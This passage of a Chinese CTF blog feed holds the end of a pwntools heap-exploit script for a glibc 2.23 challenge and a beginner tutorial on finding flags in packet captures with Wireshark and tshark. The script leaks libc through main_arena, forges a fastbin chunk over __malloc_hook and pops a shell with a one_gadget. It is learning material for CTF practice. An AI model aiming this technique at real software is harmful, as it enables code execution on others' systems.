</span></span><span class="line"><span class="cl">    <span class="n">LD</span><span class="o">=</span><span class="s1">&#39;/home/yuujier/glibc-all-in-one/libs/2.23-0ubuntu11.3_amd64/ld-linux-x86-64.so.2&#39;</span>
</span></span><span class="line"><span class="cl">    <span class="n">libc</span><span class="o">=</span><span class="n">ELF</span><span class="p">(</span><span class="n">LIBC</span><span class="p">)</span>
</span></span><span class="line"><span class="cl">    <span class="c1">#libc = ELF(&#39;./libc-2.23.so&#39;)</span>
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl"><span class="k">def</span> <span class="nf">add</span><span class="p">(</span><span class="n">size</span><span class="p">):</span>
</span></span><span class="line"><span class="cl">        <span class="n">sla</span><span class="p">(</span><span class="s1">&#39;Command:&#39;</span><span class="p">,</span><span class="mi">1</span><span class="p">)</span>
</span></span><span class="line"><span class="cl">        <span class="n">sla</span><span class="p">(</span><span class="s1">&#39;size:&#39;</span><span class="p">,</span><span class="n">size</span><span class="p">)</span>
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl"><span class="k">def</span> <span class="nf">edit</span><span class="p">(</span><span class="n">idx</span><span class="p">,</span><span class="n">size</span><span class="p">,</span><span class="n">payload</span><span class="p">):</span>
</span></span><span class="line"><span class="cl">        <span class="n">sla</span><span class="p">(</span><span class="s1">&#39;Command:&#39;</span><span class="p">,</span><span class="mi">2</span><span class="p">)</span>
</span></span><span class="line"><span class="cl">        <span class="n">sla</span><span class="p">(</span><span class="s1">&#39;Index:&#39;</span><span class="p">,</span><span class="n">idx</span><span class="p">)</span>
</span></span><span class="line"><span class="cl">        <span class="n">sla</span><span class="p">(</span><span class="s1">&#39;Size:&#39;</span><span class="p">,</span><span class="n">size</span><span class="p">)</span>
</span></span><span class="line"><span class="cl">        <span class="n">sa</span><span class="p">(</span><span class="s1">&#39;Content:&#39;</span><span class="p">,</span><span class="n">payload</span><span class="p">)</span>
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl"><span class="k">def</span> <span class="nf">free</span><span class="p">(</span><span class="n">idx</span><span class="p">):</span>
</span></span><span class="line"><span class="cl">        <span class="n">sla</span><span class="p">(</span><span class="s1">&#39;Command:&#39;</span><span class="p">,</span><span class="mi">4</span><span class="p">)</span>
</span></span><span class="line"><span class="cl">        <span class="n">sla</span><span class="p">(</span><span class="s1">&#39;Index:&#39;</span><span class="p">,</span><span class="n">idx</span><span class="p">)</span>
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl"><span class="k">def</span> <span class="nf">dump</span><span class="p">(</span><span class="n">idx</span><span class="p">):</span>
</span></span><span class="line"><span class="cl">        <span class="n">sla</span><span class="p">(</span><span class="s1">&#39;Command:&#39;</span><span class="p">,</span><span class="mi">3</span><span class="p">)</span>
</span></span><span class="line"><span class="cl">        <span class="n">sla</span><span class="p">(</span><span class="s1">&#39;Index:&#39;</span><span class="p">,</span><span class="n">idx</span><span class="p">)</span>
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl"><span class="c1">#申请chunk:</span>
</span></span><span class="line"><span class="cl"><span class="n">add</span><span class="p">(</span><span class="mh">0x10</span><span class="p">)</span><span class="c1">#0</span>
</span></span><span class="line"><span class="cl"><span class="n">add</span><span class="p">(</span><span class="mh">0x80</span><span class="p">)</span><span class="c1">#1</span>
</span></span><span class="line"><span class="cl"><span class="n">add</span><span class="p">(</span><span class="mh">0x10</span><span class="p">)</span><span class="c1">#2</span>
</span></span><span class="line"><span class="cl"><span class="n">add</span><span class="p">(</span><span class="mh">0x60</span><span class="p">)</span><span class="c1">#3</span>
</span></span><span class="line"><span class="cl"><span class="n">add</span><span class="p">(</span><span class="mh">0x10</span><span class="p">)</span><span class="c1">#4</span>
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl"> 
</span></span><span class="line"><span class="cl"><span class="c1">#--------leak addr--------</span>
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl"><span class="n">free</span><span class="p">(</span><span class="mi">1</span><span class="p">)</span>
</span></span><span class="line"><span class="cl"><span class="n">edit</span><span class="p">(</span><span class="mi">0</span><span class="p">,</span><span class="mh">0x20</span><span class="p">,</span><span class="s1">&#39;a&#39;</span><span class="o">*</span><span class="mh">0x20</span><span class="p">)</span>
</span></span><span class="line"><span class="cl"><span class="n">dump</span><span class="p">(</span><span class="mi">0</span><span class="p">)</span>
</span></span><span class="line"><span class="cl"><span class="n">ru</span><span class="p">(</span><span class="sa">b</span><span class="s1">&#39;Content:&#39;</span><span class="p">)</span>
</span></span><span class="line"><span class="cl"><span class="n">ru</span><span class="p">(</span><span class="sa">b</span><span class="s1">&#39;a&#39;</span><span class="o">*</span><span class="mh">0x20</span><span class="p">)</span>
</span></span><span class="line"><span class="cl"><span class="n">leak</span><span class="o">=</span><span class="n">u64</span><span class="p">(</span><span class="n">r</span><span class="p">(</span><span class="mi">6</span><span class="p">)</span><span class="o">.</span><span class="n">ljust</span><span class="p">(</span><span class="mi">8</span><span class="p">,</span><span class="sa">b</span><span class="s1">&#39;</span><span class="se">\x00</span><span class="s1">&#39;</span><span class="p">))</span>
</span></span><span class="line"><span class="cl"><span class="n">main_arena</span><span class="o">=</span><span class="n">leak</span><span class="o">-</span><span class="mi">88</span>
</span></span><span class="line"><span class="cl"><span class="n">malloc_hook</span><span class="o">=</span><span class="n">main_arena</span><span class="o">-</span><span class="mh">0x10</span>
</span></span><span class="line"><span class="cl"><span class="n">libc_base</span><span class="o">=</span><span class="n">malloc_hook</span><span class="o">-</span><span class="n">libc</span><span class="o">.</span><span class="n">sym</span><span class="p">[</span><span class="s1">&#39;__malloc_hook&#39;</span><span class="p">]</span>
</span></span><span class="line"><span class="cl"><span class="n">free_hook</span><span class="o">=</span><span class="n">libc_base</span><span class="o">+</span><span class="n">libc</span><span class="o">.</span><span class="n">sym</span><span class="p">[</span><span class="s1">&#39;__free_hook&#39;</span><span class="p">]</span>
</span></span><span class="line"><span class="cl"><span class="n">realloc</span><span class="o">=</span><span class="n">libc_base</span><span class="o">+</span><span class="n">libc</span><span class="o">.</span><span class="n">sym</span><span class="p">[</span><span class="s1">&#39;realloc&#39;</span><span class="p">]</span>
</span></span><span class="line"><span class="cl"><span class="n">lg</span><span class="p">(</span><span class="s1">&#39;free_hook&#39;</span><span class="p">,</span><span class="n">free_hook</span><span class="p">)</span>
</span></span><span class="line"><span class="cl"><span class="n">lg</span><span class="p">(</span><span class="s1">&#39;main_arena&#39;</span><span class="p">,</span><span class="n">main_arena</span><span class="p">)</span>
</span></span><span class="line"><span class="cl"><span class="n">lg</span><span class="p">(</span><span class="s1">&#39;malloc_hook&#39;</span><span class="p">,</span><span class="n">malloc_hook</span><span class="p">)</span>
</span></span><span class="line"><span class="cl"><span class="n">lg</span><span class="p">(</span><span class="s1">&#39;libc_base&#39;</span><span class="p">,</span><span class="n">libc_base</span><span class="p">)</span>
</span></span><span class="line"><span class="cl"><span class="n">lg</span><span class="p">(</span><span class="s1">&#39;realloc&#39;</span><span class="p">,</span><span class="n">realloc</span><span class="p">)</span>
</span></span><span class="line"><span class="cl"><span class="n">edit</span><span class="p">(</span><span class="mi">0</span><span class="p">,</span><span class="mh">0x20</span><span class="p">,</span><span class="n">p64</span><span class="p">(</span><span class="mi">0</span><span class="p">)</span><span class="o">*</span><span class="mi">3</span><span class="o">+</span><span class="n">p64</span><span class="p">(</span><span class="mh">0x90</span><span class="p">))</span>
</span></span><span class="line"><span class="cl"> 
</span></span><span class="line"><span class="cl"><span class="c1">#--------fake chunk--------</span>
</span></span><span class="line"><span class="cl"><span class="n">free</span><span class="p">(</span><span class="mi">3</span><span class="p">)</span>
</span></span><span class="line"><span class="cl"><span class="n">edit</span><span class="p">(</span><span class="mi">2</span><span class="p">,</span><span class="mh">0x28</span><span class="p">,</span><span class="n">p64</span><span class="p">(</span><span class="mi">0</span><span class="p">)</span><span class="o">*</span><span class="mi">3</span><span class="o">+</span><span class="n">p64</span><span class="p">(</span><span class="mh">0x71</span><span class="p">)</span><span class="o">+</span><span class="n">p64</span><span class="p">(</span><span class="n">malloc_hook</span><span class="o">-</span><span class="mh">0x23</span><span class="p">))</span>
</span></span><span class="line"><span class="cl"><span class="n">add</span><span class="p">(</span><span class="mh">0x60</span><span class="p">)</span>
</span></span><span class="line"><span class="cl"><span class="n">add</span><span class="p">(</span><span class="mh">0x60</span><span class="p">)</span>
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl"><span class="n">one</span><span class="o">=</span><span class="p">[</span><span class="mh">0x45216</span><span class="p">,</span><span class="mh">0x4527a</span><span class="p">,</span><span class="mh">0xf03a4</span><span class="p">,</span><span class="mh">0xf1247</span><span class="p">,</span><span class="mh">0xcd173</span><span class="p">,</span><span class="mh">0xf67f0</span><span class="p">]</span>
</span></span><span class="line"><span class="cl"><span class="n">one_gadget</span><span class="o">=</span><span class="n">libc_base</span><span class="o">+</span><span class="n">one</span><span class="p">[</span><span class="mi">1</span><span class="p">]</span>
</span></span><span class="line"><span class="cl"><span class="n">edit</span><span class="p">(</span><span class="mi">3</span><span class="p">,</span><span class="mh">0x20</span><span class="p">,</span><span class="n">p8</span><span class="p">(</span><span class="mi">0</span><span class="p">)</span><span class="o">*</span><span class="mi">3</span><span class="o">+</span><span class="n">p64</span><span class="p">(</span><span class="mi">0</span><span class="p">)</span><span class="o">+</span><span class="n">p64</span><span class="p">(</span><span class="n">one_gadget</span><span class="p">)</span><span class="o">+</span><span class="n">p64</span><span class="p">(</span><span class="n">realloc</span><span class="p">))</span>
</span></span><span class="line"><span class="cl"><span class="c1">#gdb.attach(p,&#39;b realloc&#39;)</span>
</span></span><span class="line"><span class="cl"><span class="c1">#pause()</span>
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl"><span class="n">add</span><span class="p">(</span><span class="mh">0x1</span><span class="p">)</span>
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl"><span class="n">p</span><span class="o">.</span><span class="n">interactive</span><span class="p">()</span>
</span></span></code></pre></div>
        
        <hr><p>本文2026-05-24首发于<a href='https://blog.m15tak3.com/'>M15tak3のBlog</a>，最后修改于2026-05-24</p><p>本博客所有文章除特别声明外，均采用 BY-NC-SA 许可协议。转载请注明出处！</p>]]>
      </description>
      
        <category>CTF</category>
      
    </item>
    
      
    

    <item>
      <title>CTF 流量包</title>
      <link>https://blog.m15tak3.com/post/ctf%E6%B5%81%E9%87%8F%E5%8C%85/</link>
      <pubDate>Fri, 15 May 2026 18:30:00 &#43;0800</pubDate>
      <author>skyman.soul@gmail.com (M15tak3)</author>
      <guid>https://blog.m15tak3.com/post/ctf%E6%B5%81%E9%87%8F%E5%8C%85/</guid>
      <description>
        <![CDATA[<h1>CTF 流量包</h1><p>作者：M15tak3（skyman.soul@gmail.com）</p>
        
          <h1 id="ctf-流量包从-pcap-里把-flag-捞出来">
<a class="header-anchor" href="#ctf-%e6%b5%81%e9%87%8f%e5%8c%85%e4%bb%8e-pcap-%e9%87%8c%e6%8a%8a-flag-%e6%8d%9e%e5%87%ba%e6%9d%a5"></a>
CTF 流量包：从 PCAP 里把 flag 捞出来
</h1><p>CTF 里的流量包题，一般会给你一个 <code>.pcap</code>、<code>.pcapng</code> 或者压缩包，要求你从网络通信记录里找到 flag。<br>
这类题通常归在 Misc、Forensics 或者流量分析方向，核心不是背命令，而是还原“当时网络里发生了什么”。</p>
<p>简单来说，流量包题就是在问你：</p>
<blockquote>
<p>谁和谁通信了？用了什么协议？传了什么内容？有没有被编码、压缩、拆分或者隐藏？</p>
</blockquote>
<p>只要能按这个思路一步步排查，大多数入门到中等难度的流量题都能处理。</p>
<hr>
<h2 id="1-常用工具">
<a class="header-anchor" href="#1-%e5%b8%b8%e7%94%a8%e5%b7%a5%e5%85%b7"></a>
1. 常用工具
</h2><h3 id="11-wireshark">
<a class="header-anchor" href="#11-wireshark"></a>
1.1 Wireshark
</h3><p>Wireshark 是做流量包题最常用的图形化工具。<br>
它可以查看每一个数据包，也可以按协议、IP、端口、关键字进行过滤。</p>
<p>常用功能：</p>
<ul>
<li>查看协议统计</li>
<li>查看 IP 会话</li>
<li>过滤 HTTP、DNS、FTP、ICMP 等协议</li>
<li>追踪 TCP 流</li>
<li>导出 HTTP 传输文件</li>
<li>查看数据包中的明文内容</li>
</ul>
<p>打开流量包后，最常用的两个入口是：</p>
<div class="highlight"><pre tabindex="0" class="chroma"><code class="language-text" data-lang="text"><span class="line"><span class="cl">Statistics -&gt; Protocol Hierarchy
</span></span><span class="line"><span class="cl">Statistics -&gt; Conversations
</span></span></code></pre></div><p>第一个用来看有哪些协议，第二个用来看哪些主机之间有通信。</p>
<h3 id="12-tshark">
<a class="header-anchor" href="#12-tshark"></a>
1.2 tshark
</h3><p><code>tshark</code> 是 Wireshark 的命令行版本，适合批量提取字段。</p>
<p>查看流量包基本内容：</p>
<div class="highlight"><pre tabindex="0" class="chroma"><code class="language-bash" data-lang="bash"><span class="line"><span class="cl">tshark -r traffic.pcap
</span></span></code></pre></div><p>查看 HTTP 请求：</p>
<div class="highlight"><pre tabindex="0" class="chroma"><code class="language-bash" data-lang="bash"><span class="line"><span class="cl">tshark -r traffic.pcap -Y <span class="s2">&#34;http.request&#34;</span>
</span></span></code></pre></div><p>提取 DNS 查询域名：</p>
<div class="highlight"><pre tabindex="0" class="chroma"><code class="language-bash" data-lang="bash"><span class="line"><span class="cl">tshark -r traffic.pcap -Y <span class="s2">&#34;dns.qry.name&#34;</span> -T fields -e dns.qry.name
</span></span></code></pre></div><p>提取 ICMP 数据字段：</p>
<div class="highlight"><pre tabindex="0" class="chroma"><code class="language-bash" data-lang="bash"><span class="line"><span class="cl">tshark -r traffic.pcap -Y <span class="s2">&#34;icmp&#34;</span> -T fields -e data
</span></span></code></pre></div><h3 id="13-strings">
<a class="header-anchor" href="#13-strings"></a>
1.3 strings
</h3><p><code>strings</code> 适合第一时间粗略搜索明文内容。</p>
<div class="highlight"><pre tabindex="0" class="chroma"><code class="language-bash" data-lang="bash"><span class="line"><span class="cl">strings traffic.pcap <span class="p">|</span> grep -i flag
</span></span><span class="line"><span class="cl">strings traffic.pcap <span class="p">|</span> grep -i password
</span></span><span class="line"><span class="cl">strings traffic.pcap <span class="p">|</span> grep -i admin
</span></span><span class="line"><span class="cl">strings traffic.pcap <span class="p">|</span> grep -i upload
</span></span></code></pre></div><p>如果题目比较简单，直接用 <code>strings</code> 就可能搜到 flag。<br>
如果搜不到，也可以通过关键词找到可疑请求、账号密码或者文件名。</p>
<h3 id="14-binwalk-和-foremost">
<a class="header-anchor" href="#14-binwalk-%e5%92%8c-foremost"></a>
1.4 binwalk 和 foremost
</h3><p>如果流量包里传输过图片、压缩包、文档等文件，可以尝试分离文件。</p>
<div class="highlight"><pre tabindex="0" class="chroma"><code class="language-bash" data-lang="bash"><span class="line"><span class="cl">binwalk traffic.pcap
</span></span></code></pre></div><div class="highlight"><pre tabindex="0" class="chroma"><code class="language-bash" data-lang="bash"><span class="line"><span class="cl">foremost traffic.pcap
</span></span></code></pre></div><p>不过这类工具更适合作为辅助。做流量分析时，优先还是应该先看协议和会话。</p>
<hr>
<h2 id="2-拿到流量包后的基本流程">
<a class="header-anchor" href="#2-%e6%8b%bf%e5%88%b0%e6%b5%81%e9%87%8f%e5%8c%85%e5%90%8e%e7%9a%84%e5%9f%ba%e6%9c%ac%e6%b5%81%e7%a8%8b"></a>
2. 拿到流量包后的基本流程
</h2><h3 id="21-先看题目描述">
<a class="header-anchor" href="#21-%e5%85%88%e7%9c%8b%e9%a2%98%e7%9b%ae%e6%8f%8f%e8%bf%b0"></a>
2.1 先看题目描述
</h3><p>题目描述往往会给方向，比如：</p>
<ul>
<li>“管理员登录时泄露了密码”</li>
<li>“黑客上传了一个文件”</li>
<li>“DNS 请求里藏着秘密”</li>
<li>“有人通过 ICMP 传输了 flag”</li>
<li>“还原键盘输入”</li>
<li>“找到攻击者下载的文件”</li>
</ul>
<p>如果题目提到 HTTP，就优先看 HTTP 请求和响应。<br>
如果题目提到 DNS，就优先提取域名。<br>
如果题目提到键盘，就考虑 USB HID 流量。<br>
如果题目提到上传、下载，就要注意文件导出。</p>
<p>很多时候，题目描述已经把最重要的协议告诉你了。</p>
<h3 id="22-看协议统计">
<a class="header-anchor" href="#22-%e7%9c%8b%e5%8d%8f%e8%ae%ae%e7%bb%9f%e8%ae%a1"></a>
2.2 看协议统计
</h3><p>在 Wireshark 中打开：</p>
<div class="highlight"><pre tabindex="0" class="chroma"><code class="language-text" data-lang="text"><span class="line"><span class="cl">Statistics -&gt; Protocol Hierarchy
</span></span></code></pre></div><p>重点观察：</p>
<ul>
<li>有没有 HTTP、FTP、DNS、ICMP 等明文协议</li>
<li>有没有 USB、Bluetooth、802.11 等特殊流量</li>
<li>TCP、UDP 流量比例是否异常</li>
<li>是否存在 TLS 加密流量</li>
</ul>
<p>如果 HTTP 占比很高，大概率要看网页请求。<br>
如果 DNS 查询很多，而且域名看起来很长、很乱，就要怀疑 DNS 隐写。<br>
如果 ICMP 包很多，就要看 data 字段。<br>
如果出现 FTP，优先找明文账号密码和传输文件。</p>
<h3 id="23-看通信会话">
<a class="header-anchor" href="#23-%e7%9c%8b%e9%80%9a%e4%bf%a1%e4%bc%9a%e8%af%9d"></a>
2.3 看通信会话
</h3><p>打开：</p>
<div class="highlight"><pre tabindex="0" class="chroma"><code class="language-text" data-lang="text"><span class="line"><span class="cl">Statistics -&gt; Conversations
</span></span></code></pre></div><p>重点关注：</p>
<ul>
<li>哪两个 IP 之间通信最多</li>
<li>是否有异常外部 IP</li>
<li>是否有大流量连接</li>
<li>是否出现可疑端口</li>
<li>是否有明显的上传或下载行为</li>
</ul>
<p>常见端口可以先记住这些：</p>
<div class="highlight"><pre tabindex="0" class="chroma"><code class="language-text" data-lang="text"><span class="line"><span class="cl">21    FTP
</span></span><span class="line"><span class="cl">22    SSH
</span></span><span class="line"><span class="cl">25    SMTP
</span></span><span class="line"><span class="cl">53    DNS
</span></span><span class="line"><span class="cl">80    HTTP
</span></span><span class="line"><span class="cl">110   POP3
</span></span><span class="line"><span class="cl">143   IMAP
</span></span><span class="line"><span class="cl">443   HTTPS
</span></span><span class="line"><span class="cl">3306  MySQL
</span></span><span class="line"><span class="cl">6379  Redis
</span></span></code></pre></div><p>如果发现某条 TCP 会话数据量特别大，很可能里面传了文件或者关键内容。</p>
<hr>
<h2 id="3-wireshark-常用过滤语法">
<a class="header-anchor" href="#3-wireshark-%e5%b8%b8%e7%94%a8%e8%bf%87%e6%bb%a4%e8%af%ad%e6%b3%95"></a>
3. Wireshark 常用过滤语法
</h2><p>做题时过滤器用得越熟，找线索越快。</p>
<h3 id="31-按协议过滤">
<a class="header-anchor" href="#31-%e6%8c%89%e5%8d%8f%e8%ae%ae%e8%bf%87%e6%bb%a4"></a>
3.1 按协议过滤
</h3><div class="highlight"><pre tabindex="0" class="chroma"><code class="language-text" data-lang="text"><span class="line"><span class="cl">http
</span></span><span class="line"><span class="cl">dns
</span></span><span class="line"><span class="cl">ftp
</span></span><span class="line"><span class="cl">icmp
</span></span><span class="line"><span class="cl">tcp
</span></span><span class="line"><span class="cl">udp
</span></span><span class="line"><span class="cl">usb
</span></span></code></pre></div><h3 id="32-按-ip-过滤">
<a class="header-anchor" href="#32-%e6%8c%89-ip-%e8%bf%87%e6%bb%a4"></a>
3.2 按 IP 过滤
</h3><div class="highlight"><pre tabindex="0" class="chroma"><code class="language-text" data-lang="text"><span class="line"><span class="cl">ip.addr == 192.168.1.10
</span></span><span class="line"><span class="cl">ip.src == 192.168.1.10
</span></span><span class="line"><span class="cl">ip.dst == 192.168.1.10
</span></span></code></pre></div><h3 id="33-按端口过滤">
<a class="header-anchor" href="#33-%e6%8c%89%e7%ab%af%e5%8f%a3%e8%bf%87%e6%bb%a4"></a>
3.3 按端口过滤
</h3><div class="highlight"><pre tabindex="0" class="chroma"><code class="language-text" data-lang="text"><span class="line"><span class="cl">tcp.port == 80
</span></span><span class="line"><span class="cl">tcp.srcport == 8080
</span></span><span class="line"><span class="cl">tcp.dstport == 21
</span></span><span class="line"><span class="cl">udp.port == 53
</span></span></code></pre></div><h3 id="34-按关键字搜索">
<a class="header-anchor" href="#34-%e6%8c%89%e5%85%b3%e9%94%ae%e5%ad%97%e6%90%9c%e7%b4%a2"></a>
3.4 按关键字搜索
</h3><div class="highlight"><pre tabindex="0" class="chroma"><code class="language-text" data-lang="text"><span class="line"><span class="cl">frame contains &#34;flag&#34;
</span></span><span class="line"><span class="cl">frame contains &#34;password&#34;
</span></span><span class="line"><span class="cl">frame contains &#34;admin&#34;
</span></span><span class="line"><span class="cl">frame contains &#34;ctf&#34;
</span></span></code></pre></div><p>如果是 HTTP，也可以写得更具体：</p>
<div class="highlight"><pre tabindex="0" class="chroma"><code class="language-text" data-lang="text"><span class="line"><span class="cl">http contains &#34;flag&#34;
</span></span><span class="line"><span class="cl">http contains &#34;password&#34;
</span></span></code></pre></div><h3 id="35-查看某一条-tcp-流">
<a class="header-anchor" href="#35-%e6%9f%a5%e7%9c%8b%e6%9f%90%e4%b8%80%e6%9d%a1-tcp-%e6%b5%81"></a>
3.5 查看某一条 TCP 流
</h3><div class="highlight"><pre tabindex="0" class="chroma"><code class="language-text" data-lang="text"><span class="line"><span class="cl">tcp.stream eq 0
</span></span><span class="line"><span class="cl">tcp.stream eq 1
</span></span><span class="line"><span class="cl">tcp.stream eq 2
</span></span></code></pre></div><p>右键某个 TCP 包：</p>
<div class="highlight"><pre tabindex="0" class="chroma"><code class="language-text" data-lang="text"><span class="line"><span class="cl">Follow -&gt; TCP Stream
</span></span></code></pre></div><p>这是流量题里最常用的操作之一。<br>
因为单个数据包可能只是一小段内容，追踪 TCP 流才能看到完整请求和响应。</p>
<hr>
<h2 id="4-http-流量分析">
<a class="header-anchor" href="#4-http-%e6%b5%81%e9%87%8f%e5%88%86%e6%9e%90"></a>
4. HTTP 流量分析
</h2><p>HTTP 是最常见的流量题协议，因为它经常是明文。</p>
<h3 id="41-过滤-http-请求">
<a class="header-anchor" href="#41-%e8%bf%87%e6%bb%a4-http-%e8%af%b7%e6%b1%82"></a>
4.1 过滤 HTTP 请求
</h3><p>只看 HTTP：</p>
<div class="highlight"><pre tabindex="0" class="chroma"><code class="language-text" data-lang="text"><span class="line"><span class="cl">http
</span></span></code></pre></div><p>只看 HTTP 请求：</p>
<div class="highlight"><pre tabindex="0" class="chroma"><code class="language-text" data-lang="text"><span class="line"><span class="cl">http.request
</span></span></code></pre></div><p>只看 GET 请求：</p>
<div class="highlight"><pre tabindex="0" class="chroma"><code class="language-text" data-lang="text"><span class="line"><span class="cl">http.request.method == &#34;GET&#34;
</span></span></code></pre></div><p>只看 POST 请求：</p>
<div class="highlight"><pre tabindex="0" class="chroma"><code class="language-text" data-lang="text"><span class="line"><span class="cl">http.request.method == &#34;POST&#34;
</span></span></code></pre></div><p>POST 请求尤其值得关注，因为登录、提交表单、上传文件经常使用 POST。</p>
<h3 id="42-重点看哪些位置">
<a class="header-anchor" href="#42-%e9%87%8d%e7%82%b9%e7%9c%8b%e5%93%aa%e4%ba%9b%e4%bd%8d%e7%bd%ae"></a>
4.2 重点看哪些位置
</h3><p>HTTP 流量中常见线索位置：</p>
<ul>
<li>URL 参数</li>
<li>POST 表单</li>
<li>Cookie</li>
<li>Authorization 头</li>
<li>Referer</li>
<li>User-Agent</li>
<li>响应正文</li>
<li>文件上传内容</li>
<li>返回的压缩包、图片、脚本</li>
</ul>
<p>例如看到请求：</p>
<div class="highlight"><pre tabindex="0" class="chroma"><code class="language-http" data-lang="http"><span class="line"><span class="cl"><span class="nf">POST</span> <span class="nn">/login.php</span> <span class="kr">HTTP</span><span class="o">/</span><span class="m">1.1</span>
</span></span><span class="line"><span class="cl"><span class="n">Host</span><span class="o">:</span> <span class="l">example.com</span>
</span></span><span class="line"><span class="cl"><span class="n">Content-Type</span><span class="o">:</span> <span class="l">application/x-www-form-urlencoded</span>
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl">username=admin&amp;password=YWRtaW4xMjM=
</span></span></code></pre></div><p><code>YWRtaW4xMjM=</code> 看起来像 Base64，解码后是：</p>
<div class="highlight"><pre tabindex="0" class="chroma"><code class="language-text" data-lang="text"><span class="line"><span class="cl">admin123
</span></span></code></pre></div><p>这类账号密码可能就是后续解压文件、登录后台或者提交 flag 的关键。</p>
<h3 id="43-导出-http-文件">
<a class="header-anchor" href="#43-%e5%af%bc%e5%87%ba-http-%e6%96%87%e4%bb%b6"></a>
4.3 导出 HTTP 文件
</h3><p>如果 HTTP 中传输了文件，可以在 Wireshark 中导出：</p>
<div class="highlight"><pre tabindex="0" class="chroma"><code class="language-text" data-lang="text"><span class="line"><span class="cl">File -&gt; Export Objects -&gt; HTTP
</span></span></code></pre></div><p>导出后检查文件类型：</p>
<div class="highlight"><pre tabindex="0" class="chroma"><code class="language-bash" data-lang="bash"><span class="line"><span class="cl">file suspicious_file
</span></span></code></pre></div><p>如果是压缩包，就尝试解压。<br>
如果是图片，就考虑图片隐写。<br>
如果是脚本，就查看源码。<br>
如果文件名、响应内容或注释里有奇怪字符串，也要尝试解码。</p>
<hr>
<h2 id="5-ftp-流量分析">
<a class="header-anchor" href="#5-ftp-%e6%b5%81%e9%87%8f%e5%88%86%e6%9e%90"></a>
5. FTP 流量分析
</h2><p>FTP 在 CTF 中非常友好，因为用户名、密码和命令很多时候都是明文。</p>
<p>过滤 FTP：</p>
<div class="highlight"><pre tabindex="0" class="chroma"><code class="language-text" data-lang="text"><span class="line"><span class="cl">ftp
</span></span></code></pre></div><p>常见内容：</p>
<div class="highlight"><pre tabindex="0" class="chroma"><code class="language-text" data-lang="text"><span class="line"><span class="cl">USER admin
</span></span><span class="line"><span class="cl">PASS 123456
</span></span></code></pre></div><p>如果发现传输文件，继续看：</p>
<div class="highlight"><pre tabindex="0" class="chroma"><code class="language-text" data-lang="text"><span class="line"><span class="cl">ftp-data
</span></span></code></pre></div><p>可以右键追踪 TCP 流，尝试还原传输内容。</p>
<p>FTP 题常见考点：</p>
<ul>
<li>找登录账号密码</li>
<li>找上传或下载的文件名</li>
<li>还原传输文件</li>
<li>从文件中继续解密或隐写分析</li>
</ul>
<hr>
<h2 id="6-dns-隐写分析">
<a class="header-anchor" href="#6-dns-%e9%9a%90%e5%86%99%e5%88%86%e6%9e%90"></a>
6. DNS 隐写分析
</h2><p>DNS 题经常把数据拆开放在子域名里。</p>
<p>过滤 DNS：</p>
<div class="highlight"><pre tabindex="0" class="chroma"><code class="language-text" data-lang="text"><span class="line"><span class="cl">dns
</span></span></code></pre></div><p>提取查询域名：</p>
<div class="highlight"><pre tabindex="0" class="chroma"><code class="language-bash" data-lang="bash"><span class="line"><span class="cl">tshark -r traffic.pcap -Y <span class="s2">&#34;dns.qry.name&#34;</span> -T fields -e dns.qry.name
</span></span></code></pre></div><p>可能会看到类似内容：</p>
<div class="highlight"><pre tabindex="0" class="chroma"><code class="language-text" data-lang="text"><span class="line"><span class="cl">ZmxhZ3s.example.com
</span></span><span class="line"><span class="cl">ZG5zXw.example.com
</span></span><span class="line"><span class="cl">c2VjcmV0fQ.example.com
</span></span></code></pre></div><p>取出前面的子域名并拼接：</p>
<div class="highlight"><pre tabindex="0" class="chroma"><code class="language-text" data-lang="text"><span class="line"><span class="cl">ZmxhZ3sZG5zXwc2VjcmV0fQ
</span></span></code></pre></div><p>然后尝试 Base64、Hex、URL 编码等方式解码。</p>
<p>DNS 隐写常见特征：</p>
<ul>
<li>子域名很长</li>
<li>域名由大量随机字符组成</li>
<li>多个请求的子域名可以拼接</li>
<li>出现明显的 Base64 字符集</li>
<li>查询频率异常高</li>
</ul>
<p>如果域名里出现 <code>-</code>、<code>_</code>、数字和大小写字母混合，也可以考虑 Base64 URL Safe 编码。</p>
<hr>
<h2 id="7-icmp-流量分析">
<a class="header-anchor" href="#7-icmp-%e6%b5%81%e9%87%8f%e5%88%86%e6%9e%90"></a>
7. ICMP 流量分析
</h2><p>ICMP 就是常见的 ping 协议。<br>
CTF 中经常把信息藏在 ICMP 的 data 字段里。</p>
<p>过滤 ICMP：</p>
<div class="highlight"><pre tabindex="0" class="chroma"><code class="language-text" data-lang="text"><span class="line"><span class="cl">icmp
</span></span></code></pre></div><p>提取 ICMP 数据：</p>
<div class="highlight"><pre tabindex="0" class="chroma"><code class="language-bash" data-lang="bash"><span class="line"><span class="cl">tshark -r traffic.pcap -Y <span class="s2">&#34;icmp&#34;</span> -T fields -e data
</span></span></code></pre></div><p>如果得到的是十六进制字符串，例如：</p>
<div class="highlight"><pre tabindex="0" class="chroma"><code class="language-text" data-lang="text"><span class="line"><span class="cl">666c61677b69636d705f7365637265747d
</span></span></code></pre></div><p>可以用 Python 转换：</p>
<div class="highlight"><pre tabindex="0" class="chroma"><code class="language-python" data-lang="python"><span class="line"><span class="cl"><span class="n">data</span> <span class="o">=</span> <span class="s2">&#34;666c61677b69636d705f7365637265747d&#34;</span>
</span></span><span class="line"><span class="cl"><span class="nb">print</span><span class="p">(</span><span class="nb">bytes</span><span class="o">.</span><span class="n">fromhex</span><span class="p">(</span><span class="n">data</span><span class="p">)</span><span class="o">.</span><span class="n">decode</span><span class="p">())</span>
</span></span></code></pre></div><p>输出：</p>
<div class="highlight"><pre tabindex="0" class="chroma"><code class="language-text" data-lang="text"><span class="line"><span class="cl">flag{icmp_secret}
</span></span></code></pre></div><p>ICMP 题要注意去重。<br>
